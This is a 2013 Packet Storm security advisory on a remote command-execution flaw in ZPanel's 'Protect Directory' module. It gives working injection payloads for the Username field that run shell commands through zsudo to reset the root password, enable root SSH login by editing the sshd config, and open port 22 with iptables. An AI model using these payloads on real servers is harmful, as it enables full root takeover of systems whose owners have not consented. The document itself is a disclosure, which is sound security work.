ZPanel Remote Command Execution

Type packetstorm
Reporter shachibista
Modified 2013-06-07T00:00:00


                                            `One of our expert team members (shachibista@gmail.com) who is assigned  
to do the security audit of ZPanel code has found the follwoing  
security vulnerability with ZPanel which will allow anyone to  
escalate the root accress and access the server by anyone. The  
security audit states the following:  
I have been reviewing ZPanel code and there is a serious remote  
execution vulnerability in the "Protect Directory" module that allows  
anyone with access to the page (Administrators, Resellers and Clients  
by default) to execute arbitrary commands on the shell due to improper  
(non-existent) escaping of user input. The following steps can be  
taken to reproduce the exploit:  
1. Login as any user and visit  
1a. In the "Username" field input (including the initial semicolon and  
the final hash):  
;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #  
2. Type any password  
3. Root password will be set to "newpassword"  
4. Visit http://<server_address>/?module=htpasswd&selected=Selected&path=/  
5. In the "Username" field (including initial semicolon and final hash):  
;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes  
\#/" /etc/ssh/*hd*g' #  
6. This will enable root login,  
7. One can repeat the same process to open port 22 through iptables  
(iptables -A INPUT -p tcp --dport 22 -j ACCEPT) and restart the ssh  
server (this will require the process twice as the internal buffer  
size of zsudo command is 100 characters)